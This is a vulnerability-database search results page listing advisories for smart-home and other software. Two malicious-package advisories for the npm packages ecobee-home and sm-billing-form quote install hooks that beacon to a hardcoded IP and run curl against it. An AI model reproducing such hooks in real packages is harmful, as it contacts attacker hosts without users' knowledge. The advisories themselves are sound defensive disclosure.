Lucene search
+L

8181 matches found

EUVD
EUVD
•added 2026/08/26 1:20 p.m.•12 views

EUVD-2026-66423

Rently Smart Home versions 20.1.0 and prior are vulnerable to an Insufficiently Protected Credentials vulnerability. This could allow an attacker to retrieve pins including the Master Pin, overriding standard user permissions...

8.7CVSS5.2AI score0.0035EPSS
SaveExploits0References1
Cvelist
Cvelist
•added 2026/08/26 1:20 p.m.•41 views

CVE-2026-75960 Insufficiently Protected Credentials in Rently Smart Home

Rently Smart Home versions 20.1.0 and prior are vulnerable to an Insufficiently Protected Credentials vulnerability. This could allow an attacker to retrieve pins including the Master Pin, overriding standard user permissions...

8.7CVSS0.0035EPSS
SaveExploits0References1
CVE
CVE
•added 2026/08/26 1:20 p.m.•65 views

CVE-2026-75960

Rently Smart Home versions 20.1.0 and prior are affected by an Insufficiently Protected Credentials vulnerability that allows an attacker to retrieve PINs, including the Master Pin , thereby overriding standard user permissions. CISA rates this HIGH severity (CVSS 3.1: 8.1, CVSS 4.0: 8.7) with a ...

8.7CVSS5.2AI score0.0035EPSS
SaveExploits0References1
Positive Technologies
Positive Technologies
•added 2026/08/26 12:00 a.m.•25 views

PT-2026-82102

Name of the Vulnerable Software and Affected Versions Rently Smart Home versions 20.1.0 and earlier Description Insufficiently protected credentials in the API allow an attacker to retrieve pins, including the Master Pin. This issue enables the override of standard user permissions, potentially...

8.7CVSS5.9AI score0.0035EPSS
SaveExploits0References9
CVE
CVE
•added 2026/08/26 12:00 a.m.•21 views

CVE-2023-42179

The Bird Home Automation GmbH D1101V-F 000140 device is vulnerable to Incorrect Access Control due to flaws in the key derivation process and the password validation process . This vulnerability allows for unauthorized access and has a CRITICAL severity rating (CVSS 3.1 score of 9.8). According t...

9.8CVSS5.2AI score0.0036EPSS
SaveExploits0References2
Rapid7 Vulnerability Database (full)
Rapid7 Vulnerability Database (full)
•added 2026/08/26 12:00 a.m.•2 views

CVE-2026-75960: Insufficiently Protected Credentials

Rently Smart Home versions 20.1.0 and prior are vulnerable to an Insufficiently Protected Credentials vulnerability. This could allow an attacker to retrieve pins including the Master Pin, overriding standard user permissions...

8.7CVSS5.8AI score0.0035EPSS
SaveExploits0References2
Rapid7 Vulnerability Database (full)
Rapid7 Vulnerability Database (full)
•added 2026/08/26 12:00 a.m.•1 views

CVE-2023-42179: Improper Access Control

Bird Home Automation GmbH D1101V-F 000140 is vulnerable to Incorrect Access Control via the Key derivation process, password validation process...

9.8CVSS5.8AI score0.0036EPSS
SaveExploits0References2
Positive Technologies
Positive Technologies
•added 2026/08/26 12:00 a.m.•19 views

PT-2026-82228

Name of the Vulnerable Software and Affected Versions Bird Home Automation GmbH D1101V-F 000140 affected versions not specified Description Incorrect access control exists due to flaws in the key derivation process and the password validation process. Recommendations At the moment, there is no...

5.2AI score0.0036EPSS
SaveExploits0References4
Kitploit
Kitploit
•added 2026/08/25 7:49 a.m.•9 views

cybersecurity-home-lab-btp

🛡️ Laboratorio Domestico di Cybersecurity — Rilevamento e Monitoraggio B.Tech Project BTP | IIIT Pune Basato su: "Designing and Implementing an Effective Cybersecurity Home Lab for Detection and Monitoring" — ICCCNT 2023, IIT Delhi Un laboratorio domestico di cybersecurity completamente funzionant...

6CVSS8.4AI score0.49759EPSS
SaveExploits18
OSSF Malicious Packages
OSSF Malicious Packages
•added 2026/08/25 6:45 a.m.•20 views

Malicious code in ecobee-home (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 9a02620d2c1be5db8251957a24b2dacf01b146b1ee009169a9d828cb1f2a7425 The package's declared postinstall script runs beacon.js, which issues an HTTP GET to a hardcoded bare-IP endpoint http://169.58.96.170:9001/cb...

5.7AI score
SaveExploits0References3
OSV
OSV
•added 2026/08/25 6:45 a.m.•10 views

MAL-2026-14475 Malicious code in ecobee-home (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 9a02620d2c1be5db8251957a24b2dacf01b146b1ee009169a9d828cb1f2a7425 The package's declared postinstall script runs beacon.js, which issues an HTTP GET to a hardcoded bare-IP endpoint http://169.58.96.170:9001/cb...

5.7AI score
SaveExploits0References3
ICS
ICS
•added 2026/08/25 6:00 a.m.•31 views

Rently Smart Home

ADVISORY SUMMARY Successful exploitation of this vulnerability could allow an attacker to access sensitive information and override user permissions. 2. RECOMMENDED PRACTICES CISA recommends users take defensive measures to minimize the risk of exploitation of this vulnerability. Minimize...

8.7CVSS5.7AI score0.0035EPSS
SaveExploits0References13
Tenable Nessus
Tenable Nessus
•added 2026/08/25 12:00 a.m.•13 views

RHCOS 4 : OpenShift Container Platform 4.22.11 (RHSA-2026:57361)

The remote Red Hat Enterprise Linux CoreOS 4 host has packages installed that are affected by multiple vulnerabilities as referenced in the RHSA-2026:57361 advisory. - github.com/cri-o/cri-o: Fix Bypass for CVE-2022-4318 /etc/passwd Injection via HOME env CVE-2026-15809 - golang: Go os.Root:...

7.8CVSS7.2AI score0.0056EPSS
SaveExploits0References8
RedhatCVE
RedhatCVE
•added 2026/08/24 2:36 p.m.•15 views

CVE-2026-65610

A flaw was found in nnn. This vulnerability arises from a numeric truncation error where the system incorrectly handles HOME path lengths exceeding 255 characters. An attacker, by manipulating the victim's execution environment, can provide a specially crafted HOME path. This manipulation causes...

2.4CVSS5.2AI score0.00165EPSS
SaveExploits0References2
Kitploit
Kitploit
•added 2026/08/23 11:44 p.m.•10 views

gha-lab-7ccf56a2a4

HomeAssistant - Tapo: Cameras Control Componente personalizzato - Tapo: Cameras Control - per aggiungere telecamere Tapo, campanelli e suonerie a Home Assistant ⭐ Ora espone anche uno stream per i dispositivi che non hanno funzionalità RTSP o ONVIF. Installazione Copia il contenuto di...

5.6AI score
SaveExploits0References17
OSV
OSV
•added 2026/08/23 6:50 p.m.•26 views

MAL-2026-14395 Malicious code in sm-billing-form (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 422b9f6c71b124deff27a41ef4b595c308595c14af77dbd3756de0e625f86fc2 package.json defines preinstall and postinstall lifecycle scripts that run curl -s http://16.192.173.5/sm-billing-form/pre and curl -s...

5.8AI score
SaveExploits0References3
NVD
NVD
•added 2026/08/21 9:17 p.m.•17 views

CVE-2026-69238

There is an HTML injection vulnerability in Esri Portal for ArcGIS versions 11.5 and prior that allows a remote, highly priviliged attacker to insert arbitrary HTML into the Portal for ArcGIS Home application. Users working with ArcGIS Enterprise 11.1, 11.3, and 11.5 are encouraged to patch. All...

4.8CVSS0.00242EPSS
SaveExploits0References1
NVD
NVD
•added 2026/08/21 9:17 p.m.•16 views

CVE-2026-69229

There is an HTML injection vulnerability in Esri Portal for ArcGIS versions 12.0 and prior that allows a remote, authenticated attacker to insert arbitrary HTML into the Portal for ArcGIS Home application. Users working with ArcGIS Enterprise 11.1, 11.3, 11.5 and 12.0 are encouraged to patch. All...

5.4CVSS0.00275EPSS
SaveExploits0References1
EUVD
EUVD
•added 2026/08/21 8:48 p.m.•19 views

EUVD-2026-64157

There is an HTML injection vulnerability in Esri Portal for ArcGIS versions 12.0 and prior that allows a remote, authenticated attacker to insert arbitrary HTML into the Portal for ArcGIS Home application. Users working with ArcGIS Enterprise 11.1, 11.3, 11.5 and 12.0 are encouraged to patch. All...

5.4CVSS5.7AI score0.00275EPSS
SaveExploits0References1
Vulnrichment
Vulnrichment
•added 2026/08/21 8:48 p.m.•12 views

CVE-2026-69229 HTML injection vulnerability in Esri Portal for ArcGIS

There is an HTML injection vulnerability in Esri Portal for ArcGIS versions 12.0 and prior that allows a remote, authenticated attacker to insert arbitrary HTML into the Portal for ArcGIS Home application. Users working with ArcGIS Enterprise 11.1, 11.3, 11.5 and 12.0 are encouraged to patch. All...

5.4CVSS5.5AI score0.00275EPSS
SaveExploits0References1
Rows per page
Query Builder